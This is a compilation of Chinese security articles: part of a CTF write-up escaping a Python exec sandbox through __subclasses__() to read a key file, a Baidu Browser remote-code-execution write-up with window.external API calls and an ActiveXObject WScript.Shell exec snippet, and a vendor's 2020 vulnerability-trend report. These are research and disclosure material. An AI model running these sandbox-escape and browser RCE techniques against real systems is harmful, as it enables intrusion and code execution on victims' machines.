'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
try:
# Read user input until the first whitespace character
inp = findall('S+', raw_input())[0]
a = None
# Set a to the result from executing the user input
exec 'a=' + inp
print 'Return Value:', a
except Exception, e:
print 'Exception:', e
由于我们没有在__builtins__中引用file和open，所以常规的编码技巧是行不通的。但是也许我们可以在Python解释器中挖掘出另一种代替file或open引用的方法。
**让我们深入一点**
（对于这一部分，我要感谢[Ned
Batchelder](http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)的分享，今年夏天我读这个博客，其中有一篇文章是针对eval函数危险性的说明。并在其代码中对eval()函数滥用的危险性做了进一步的演示。）。
将一个对象传入type()函数将返回一个type object例如：
>>> type( [1,2,3] )
<type 'list'>
现在，让我们开始检查一个元组的字段：
这些都是功能。但class有点有趣。它返回表示对象的类。
>>> type(().__class__)
<type 'type'>
这进入元类和元类型详细信息。更多的内容都在，[PEP
0253](http://www.python.org/dev/peps/pep-0253/)。让我们现在忽略，并深入一点。
根据文档，新式类有一些特殊的属性。具体来说，bases它包含“基类，按它们在基类列表中出现的顺序”
class.subclasses()，并返回所有子类的列表。
让我们来看看我们的元组。
>>> ().__class__.__bases__
(<type 'object'>,)
它直接从对象继承。我不知道还有什么：
>>> ().__class__.__bases__[0].__subclasses__()
[<type 'weakproxy'>, <type 'int'>, <type 'basestring'>,
<type 'bytearray'>, <type 'list'>, <type 'NoneType'>,
<type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>,
<type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>,
<type 'staticmethod'>, <type 'complex'>, <type 'float'>,
<type 'buffer'>, <type 'long'>, <type 'frozenset'>,
<type 'property'>, <type 'memoryview'>, <type 'tuple'>,
<type 'enumerate'>, <type 'reversed'>, <type 'code'>,
<type 'frame'>, <type 'builtin_function_or_method'>,
<type 'instancemethod'>, <type 'function'>, <type 'classobj'>,
<type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>,
<type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>,
<type 'member_descriptor'>, <type 'file'>, <type 'sys.long_info'>,
... and more!
我们在这里有我们需要的一切！
然后我可以file用一些简单的行在列表中找到索引：
>>> all_classes = []
>>> for entry in ().__class__.__bases__[0].__subclasses__():
... all_classes.append(entry.__name__)
...
>>> all_classes.index("file")
40
我们不能在挑战中使用这个代码（甚至重写为列表解析），因为它包括空格。但是由于file在索引40，我们可以硬编码。
>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>
一旦我们引用了文件，我们所需要做的就是创建一个文件对象并读取它：
>> ().__class__.__bases__[0].__subclasses__()[40]("./key").read()
"This works"
所以解决题目我们需要，
moshe@moshe-desktop:~$ netcat ctf.fluxfingers.net 2045
Go Ahead, Expoit me >;D
().__class__.__bases__[0].__subclasses__()[40]("./key").read()
().__class__.__bases__[0].__subclasses__()[40]("./key").read()
Return Value: FvibLF0eBkCBk
在旁注中，我们不需要在单个语句中执行 –
exec在当前上下文中运行代码，因此通过将每个命令的输出存储在变量（除了a）之外，我们可以轻松地保持命令之间的状态。
moshe@moshe-desktop:~$ netcat ctf.fluxfingers.net 2045
Go Ahead, Expoit me >;D
x=23
x=23
Return Value: 23
45
45
Return Value: 45
x
x
Return Value: 23
**参考连接**
另一个魔法可能是有用的：<http://www.reddit.com/r/Python/comments/hftnp/ask_rpython_recovering_cleared_globals/c1v372r>
Ned Batchelder的博文：http://nedbatchelder.com/blog/201206/eval really
is_dangerous.html
**后记**
其实发现，国内的比赛和国外的比赛，有些赛事质量真的差很多，国内很多比赛都是为了出题而出题，相反，其实国外的比赛虽然很难，但是攻克的过程中，都能学到许多的姿势。 | 社区文章 |
本文属于浏览器安全系列第二篇,目录如下
1. [2345浏览器本地文件读取及远程命令执行](http://paper.seebug.org/72/)
2. [百度浏览器远程命令执行](http://paper.seebug.org/73/)
3. [搜狗浏览器从UXSS到远程命令执行](http://paper.seebug.org/74/)
4. [Fancy3D引擎（YY浏览器）远程命令执行](http://paper.seebug.org/75/)
* * *
原文链接：http://zhchbin.github.io/2016/09/01/Baidu-Browser-RCE/
作者：[zhchbin](http://zhchbin.github.io/)
案例链接： ~~http://wooyun.org/bugs/wooyun-2010-0216027~~
## 免责声明
本博客提供的部分文章思路可能带有攻击性，仅供安全研究与教学之用，风险自负!
## 百度浏览器远程命令执行
* 版本信息：8.4.100.3514
* 测试环境：(1)Windows 7 64 bit with IE 10 (2)Windows XP 32 bit with IE 8
### 0x00 套路
为了实现远程命令执行，我们需要有两个条件：（1）下载可执行文件（比如exe，脚本之类的）到用户的系统中（2）启动我们的可执行程序。接下来的分析都是为了实现这个目标而进行的一系列探索及尝试。
### 0x01 UXSS与特权域
一个价值8000美刀的UXSS：https://bugs.chromium.org/p/chromium/issues/detail?id=560011
，百度浏览器上也存在该问题。各种特权域的XSS问题都已经被之前的老司机们挖没有了，所以我们从UXSS入手是最快捷的方式。那百度浏览器的特权域有什么呢？在使用的过程中发现，百度浏览器应用中心（<https://chajian.baidu.com/2015/>）这个网站直接能够打开
bdbrowser://settings 这个页面。于是，我就分析了一下里面的代码，发现是使用了
widnow.external.StartRequest(1158, "open_url", "", "[\"offside","bdbrowser://settings#extension\"]")
从而可以确定，这个域名可以使用`window.external.StartRequest`这个API。也就是说：我们可以通过UXSS ->
在百度浏览器应用中心的网站上调用以上的API。
### 0x02 寻找文件下载
在日常使用浏览器的过程中，我们可以设置一个默认的文件下载路径，然后选择不提示。在百度浏览器中，也存在一个这样子的设置，而且可以直接通过上面的API进行设置。所以，我们可以设置其默认不提示，这样子就不需要用户交互完成文件的下载！那么，我们能知道文件的下载路径吗？一开始我是想像二哥那样：http://wooyun.org/bugs/wooyun-2010-083294
寻找一个能够直接修改其默认下载路径的接口，这样子就可以通过下载文件到用户的开机启动路径中完成RCE。不过，百度浏览器修改了这个设置的API，设置时会弹出选择窗口给用户选择路径。
哎，于是，换一个思路吧。我们尝试看看能不能获取到用户设置的默认路径吧！分析调试设置页面的源代码之后，我发现了以下的操作就可以获取到用户的默认路径！
window.external.StartRequest(1162, "fetch_prefs.addListener", "console.log", "[]", "", window);
window.external.StartRequest(1163, "preference_ready", "", "[]", "", window);
### 0x03 执行？
完成文件的下载，我们又知道了文件在用户系统中的绝对路径。这个能干嘛啊？在寻找的过程中，我搜索了一下，找到了这样的一个链接：http://stackoverflow.com/a/5047811/1634804
这里是指在IE上通过ActiveXObject启动notepad.exe的代码。想到百度浏览器还有一个IE内核的时候，还是试试吧。没想到一试，发现居然可以直接执行，是的，什么提示都没有。一开始我还怀疑是我自己设置了IE的安全级别，发现测了手上的几个系统，还在虚拟机环境下进行测试，都发现能打开notepad。
<script>
ws=new ActiveXObject("WScript.Shell");
ws.Exec("C:\\Windows\\notepad.exe");
</script>
而在同一个系统上的IE浏览器，访问这个页面的时候会提示以下的信息。从这可以估计出百度浏览器在使用IE内核的时候，安全性级别设置的比较低。
SCRIPT429: Automation 服务器不能创建对象
接下来，我们要怎么利用？在使用的过程中，发现百度浏览器大多会先使用WebKit引擎进行渲染，而且，我查了一下，没有任何可以设置的方式。所以，第一个想到的方案是做个界面欺骗用户切换成IE模式，这样子我们的RCE就大打折扣。
### 0x04 WebKit -> IE
想啊想！心中想起了一句话：中国特色社会主义。在China，很多银行的网站都默认只能使用IE，访问这些网站的时候，百度浏览器会不会很人性化的帮我们切换成IE内核呢？于是，继续测试，发现果然！打开工行，招行等银行的网站时，优先使用的是IE内核。
于是，我们只要找到一个网站是银行的，且这个网站存在XSS或者前端界面可控的，就可以通过这个网站执行ActiveXObject了。不过找银行的貌似挺麻烦的，找了一会之后，我把思路换成了学校，因为学校的网站（edu.cn的子域）也是默认优先IE内核。找啊找，找到一个XSS，被IE的过滤器过滤，找到另外一个不会被过滤的，URL长度有限制且有关键词检查。最后，还是在母校找到了一个站点：
http://ecampus.sysu.edu.cn/zsuoa/application/pages/select_frame.jsp?url=http://baidu.com
这个页面会去加载使用iframe去加载url里执订的链接，虽然不是XSS，但是更好用！
### 0x05 真的可以执行
思路总结
1. UXSS 到 https://chajian.baidu.com/2015/
2. 修改用户的下载设置：自动下载到默认保存位置 (不再弹窗提醒)
3. 获取用户的的默认下载路径
4. 下载一个文件
5. 跳转到学校的网站，使用ActiveXObject执行我们下载的文件。
测试的GIF截图，下载并启动Everything。
* * * | 社区文章 |
# 前言
刚刚过去的2020年以极具戏剧性的开场和魔幻现实主义的中章，给传统行业当头一棒，疫情的延伸早已超出了绝大部分人的预料。传统行业被迫转型；企业被迫选择线上办公；学校被迫开设网课。在经济体系运作如此困难的情况下，互联网行业在整个市场却占据更稳定的位置，互联网行业飞速发展的同时也带来了前所未有的网络安全挑战。
热爱网络安全的年轻人们，经历了停工、停学，却从未停下漏洞研究的脚步，据统计，2020年新增20086条漏洞信息（来源于cnvd），相较于2019年，漏洞环比增长125.1%。
产品是由人研发出来的，研发人员能力参差不齐导致漏洞这一话题永不过时。随着漏洞喷涌式爆发，企业越来越感到麻木，在经过一次又一次的实战演练的磨练，企业IT部门也开始接受两个重要的观点：
**
1、资产梳理才是重中之重，围绕资产匹配的安全能力才是刚需，覆盖漏洞的数量不是唯一的考核标准。
2、安全即将变成一种文化，不管是在开发还是在日常办公都需具备较强的安全意识。**
在这个大趋势下，安全厂商持续洞察用户需求同时也总结了一个重要的观点：
**每年都会爆发出成千上万的漏洞，这里面到底哪些可以给客户造成危害，针对这类漏洞如何做到精准覆盖和快速响应才是安全厂商需要持续思考的问题。**
2016年-2020年，深信服千里目安全实验室持续紧跟国内外漏洞威胁情报，从中筛选出能给客户带来威胁的漏洞，第一时间推送解决方案，持续提供可感知的安全感。
在这场永不停歇的攻防战争中，深信服千里目安全实验掌握一手漏洞情报，始终坚持“千里之外，洞悉风险”，与各大网络安全厂商一同维护网络安全，构建平衡、和谐的网络生态系统。
《漏洞威胁分析报告》，深信服千里目安全实验室第一次从围绕”不同视角下的漏洞威胁”和“深信服漏洞闭环体系建设”两个方面，基于深信服安全服务和安全云脑的基础数据中心结合深信服威胁对抗指挥中心的能力中台针对2020年漏洞爆发情况进行回顾，分析2020年高危漏洞，反思漏洞威胁应对措施，为企业提供可靠且具针对性的安全建议。
## 上册：不同视角下的漏洞威胁
国内外安全事件频发，报告上册围绕基于深信服安全服务和安全云脑的基础数据中心结合深信服威胁对抗指挥中心的能力中台针对2020年漏洞爆发情况进行回顾，通过深信服的基础数据关联模型，思考漏洞威胁闭环体系。
### 1.企业资产视角下的漏洞威胁
2020年全年，深信服安全服务团队长期为政府、金融、互联网、教育、通信、医疗、交通、能源等多个行业数千个企业提供安全服务，再结合深信服独有安全云脑的基础数据进行分析，从企业资产的视角，呈现出面对企业最重要的漏洞威胁情况。
**企业资产的漏洞威胁情况**
回顾安全服务结合安全云脑的基础数据进行聚类统计的数据可以明显看出，企业资产所面临的的可利用漏洞威胁依旧是定制化业务为主，占比高达70.7%；剩下的威胁主要来源于组件漏洞，占比29.3%。
**组件漏洞的快速响应依旧是值得企业关注的重点**
从深信服千里目安全实验室2016-2020年通告数据可以看出，由于攻防竞赛理念的逐步普及，企业也逐步接受并需要针对自己资产的紧急漏洞通告，从最开始不清楚自己使用的哪些组件，逐步演变到对自己使用的组件和版本了如指掌，并持续聚焦最新的可利用漏洞提升优先级处理闭环。
从攻击者的视角来看，一般攻击者在收集好客户的资产后会进行一些基本的探测（包括指纹识别，敏感路径探测，登录测试等），探测到需要的信息后会尝试一击命中，比如针对指纹识别到的组件，选择这个组件的已知的可利用的漏洞可以减少Fuzz所带来的的巨大动静，减少被安全产品感知或者防御的概率，提高攻击成功率。
这类组件主要有两个特点：
1、组件相对容易获取到，导致研究组件漏洞的安全研究人员很多；
2、这类组件经历了多年的安全研究人员挖掘，相对来说安全性会高一些，但一旦高危漏洞爆发，将会影响大量企业。
攻防就是一个博弈的过程，攻击者基于客户所使用的组件不断地挖掘并利用漏洞，防御者不断识别攻击者的研究方向，制定解决方案。2020年深信服千里目安全实验室跟踪高危漏洞250余个。其中代码执行占比最高，达52%！下图中的其他包含XML外部实体注入、安全绕过、提权、XSS、认证绕过、反序列化、缓冲区溢出、命令注入、目录遍历、目录穿越、权限绕过、认证绕过、容器逃逸和错误访问控制。
上述漏洞涉及130余个重点组件（累计180个组件），从组件维度来看，今年的紧急漏洞依旧聚焦在服务器类、工具类和框架类型的组件，中间件、CMS组件漏洞数量略有下降，2020年最“火”的组件Top3为FasterXML、某OA和WebLogic。
在2020年漏洞中我们清楚看到，FasterXML漏洞以34个位列榜首；某OA漏洞以20个，最后WebLogic以漏洞19排名第三。深信服千里目安全实验室将重点分析上述三个组件。
#### FasterXML
##### （1）组件介绍
FasterXML Jackson是美国FasterXML公司的一款适用于Java的数据处理工具。Jackson-databind是其中的一个具有数据绑定功能的组件。Jackson-databind可以将Java对象转换成json对象，同样也可以将json转换成Java对象。
##### （2）组件分布
根据全网数据统计，使用fasterxml jackson-databind的网站多达30万余，其中大部分集中在美国，而中国的使用量排在第二位。其中浙江、北京、广东、广西四省市使用量最高。通过网络空间搜索引擎的数据统计和柱状图表，如下图所示。
（3）漏洞介绍
漏洞名称 | 漏洞ID | 影响版本 | 危害等级
---|---|---|---
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-8840 | Fasterxml Jackson-databind < 2.9.10.2 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-9547 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-9548 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind服务请求伪造漏洞 | CVE-2020-10969 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.4
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10650 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.4
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10672 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10673 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-10968 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11111 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11112 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11113 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind服务请求伪造漏洞 | CVE-2020-11619 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-11620 | Fasterxml Jackson-databind < 2.9.10.4 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14060 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14061 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14062 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-14195 | Fasterxml Jackson-databind < 2.9.10.5 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-24750 | Fasterxml Jackson-databind < 2.9.10.6 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-24616 | Fasterxml Jackson-databind < 2.9.10.6 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.6
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | 无 | Fasterxml Jackson-databind < 2.9.10.6
| 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-35490 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-35491 | Fasterxml Jackson-databind < 2.9.10.8 | 更新
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36179 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36180 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36181 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36182 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36183 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36184 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36185 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36186 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36187 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36188 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-36189 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
Fasterxml Jackson-databind远程代码执行漏洞 | CVE-2020-35728 | Fasterxml Jackson-databind < 2.9.10.8 | 高危
上述表中记录的漏洞是2020年FasterXML官方披露的漏洞，并且不需要任何二次开发与复杂的配置，仅仅需要用户使用的组件或者框架集成了上述版本的fasterxml
jackson-databind，并且配置了enableDefaultTyping即可。攻击者通过用户暴露出的fasterxml Jackson-databind序列化接口，发送精心构造恶意流量，恶意数据在服务器上先进行反序列化操作，再进行序列化操作（如果在属性JavaBean对应的get方法中出现问题则需要再次进行序列化操作）时执行任意代码。
2020年FasterXML Jackson-databind 爆发的漏洞依然是：利用FasterXML Jackson-databind与第三方类库相结合，攻击者可以通过FasterXML Jackson-databind的反序列化功能，执行第三方库中的方法，进行JNDI注入攻击。攻击方式与以往相同。在FasterXML Jackson-databind最新版本中，将会使用新的方式对Java反序列化漏洞的进行修复。预计2020年之后，FasterXML Jackson-databind的Java反序列化漏洞数量将会降低。
#### 某OA系统
##### （1）组件介绍
OA为各行业不同规模的众多用户提供信息化管理能力，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等，帮助广大用户降低沟通和管理成本，提升生产和决策效率。该系统采用领先的B/S(浏览器/服务器)操作方式，使得网络办公不受地域限。
##### （2）组件分布
以某OA系统为例，其主要应用范围在国内，根据全网数据统计，使用某OA系统的网站数有近3万。其中广东、湖北、北京三省市使用量最高。通过网络空间搜索引擎数据统计得到的柱状图表如下图所示。
##### （3）漏洞介绍
漏洞名称 | 影响版本 | 危害等级
---|---|---
某OA文件上传结合本地文件包含RCE | 某OA V11 < V11.4 | 高危
某OA任意用户登录 | 某OA < V11.5 | 高危
某OA 2015-2017后台任意文件上传（一） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台文件包含（一） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台文件包含（二） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台任意文件上传（二） | 某OA 2015 - 2017 | 中危
某OA 2015-2017后台任意文件删除 | 某OA 2015 - 2017 | 中危
某OA 未授权任意文件删除 | 某OA V11.6 | 高危
某OA 后台任意文件上传 | 某OA < V11.7 | 中危
某OA 后台SQL注入 | 某OA < V11.6 | 中危
某OA 后台SQL注入 | 某OA < V11.6 | 中危
某OA 后台SQL注入 | 某OA < V11.7 | 中危
某OA 后台SQL注入 | 某OA < V11.7 | 中危
某OA 未授权SQL注入 | 某OA V11 < V11.6 | 高危
某OA 后台SQL注入 | 某 < V11.6 | 中危
某OA 后台SQL注入 | 某 < V11.6 | 中危
某OA 后台SQL注入 | 某 <= V11.7 | 中危
上述表中主要记录了2020年所披露的某OA相关漏洞，按时间先后排序。对上述表进行分析，从漏洞利用权限上来看，主要为后台漏洞，大部分需要普通用户权限；从漏洞类型来看，主要为SQL注入漏洞和文件上传漏洞；从漏洞高可利用性来看，文件上传结合本地文件包含漏洞、任意用户登录漏洞相对热门。但纵观来看，可直接未授权GetShell的漏洞较少，基本上需要先结合未授权注入或任意用户登录提升权限后再利用后台漏洞GetShell。
相比2020年之前的漏洞，2020年未授权的高可利用漏洞较少，往后台权限漏洞类型靠拢。2020年之后，可能主要以后台漏洞披露为主，但也不排除未授权高危漏洞出现的可能性。
#### WebLogic
##### （1）组件介绍
WebLogic是美国Oracle公司出品的一个application
server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java（J2EE）应用服务器软件（application
server）之一，是世界上第一个成功商业化的J2EE应用服务器，具有可扩展性，快速开发，灵活，可靠性等优势。
##### （2）组件分布
根据全网数据统计，使用WebLogic的网站多达30万余，其中大部分集中在美国，而中国的使用量排在第三位。其中北京、广东、上海三省市使用量最高。通过网络空间搜索引擎的数据统计和柱状图表，如下图所示。
（3）漏洞介绍
| 漏洞名称 | 漏洞ID | 影响版本 | 危害等级 |
| ------------------------ | -------------- |
------------------------------------------------------------ | -------- |
| WebLogic安全漏洞 | CVE-2020-2550 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic远程代码执行漏洞 | CVE-2020-2551 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-6950 | WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 中危 |
| WebLogic安全漏洞 | CVE-2020-2544 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic安全漏洞 | CVE-2020-2547 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic安全漏洞 | CVE-2020-2519 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic远程代码执行漏洞 | CVE-2020-2883 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危 |
| WebLogic远程代码执行漏洞 | CVE-2020-2884 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic安全漏洞 | CVE-2020-2869 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic安全漏洞 | CVE-2020-2766 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic远程代码执行漏洞 | CVE-2020-2801 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危 |
| WebLogic远程代码执行漏洞 | CVE-2020-2867 | WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-2811 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 中危 |
| WebLogic远程代码执行漏洞 | CVE-2020-2798 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-2967 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-14588 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-14589 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 中危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14687 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-14622 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 低危 |
| WebLogic安全漏洞 | CVE-2020-2966 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 低危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14625 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-14572 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0 | 中危 |
| WebLogic安全漏洞 | CVE-2020-14652 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 中危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14645 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-14557 | WebLogic 12.1.3.0.0WebLogic
12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 中危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14644 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14841 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14825 | WebLogic 12.2.1.3.0WebLogic
12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14859 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic安全漏洞 | CVE-2020-14757 | WebLogic 12.2.1.3.0 | 中危 |
| WebLogic安全漏洞 | CVE-2020-14820 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 中危 |
| WebLogic安全漏洞 | CVE-2020-14883 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
| WebLogic远程代码执行漏洞 | CVE-2020-14882 | WebLogic 10.3.6.0.0WebLogic
12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0 | 高危 |
上述表中记录的漏洞是2020年Oracle官方披露的WebLogic漏洞，攻击者通过向服务器发送精心构造恶意序列化数据，当服务器进行反序列化，解析序列化数据时，触发Java反序列化漏洞，造成执行任意代码。
比起2020年之前的漏洞，2020年新增了IIOP协议的JAVA反序列化利用方式，也增加了Coherence组件中Extractor系列漏洞。这两类漏洞的出现也体现了黑名单防御机制的局限性。
**2020年之后，可能依旧会出现利用其他WebLogic内部组件构造新的gadget进行漏洞利用。**
**定制化业务依旧是最常见被攻破的目标**
回顾全年数据，在被抽样的企业所对应的基础数据中，涉及200+定制化业务系统，漏洞安全威胁数量达数百个。其中，高风险系统占比高达61.3%！中风险与低风险系统占比基本持平。
从漏洞类型来看，信息泄漏漏洞和业务逻辑漏洞是出现频率最高的漏洞类型，占到全年Web漏洞总数的41.9%；此外XSS、未授权访问漏洞分别占比7.9%和6.3%。
信息泄露漏洞、业务逻辑漏洞（包含但不仅限于暴力破解、用户名穷举、任意密码重置、任意用户\企业注册、验证码固定、图形码可重复利用、支付\退款逻辑漏洞）、弱口令，在本次调研分别占比24.4%、17.4%、11.4%，属于高发漏洞类型，但受业务系统的重要程度、部署位置等影响，危害等级没有明显规律。企业在日常管理中，仍需加强巡检，结合定期漏洞扫描和必要的渗透测试及时发现修补此类漏洞。
从漏洞严重维度来看，严重与高危漏洞占比高达41%，中危漏洞占比21%，其中漏洞造成严重影响的依旧是SQL注入、命令注入和代码注入漏洞。
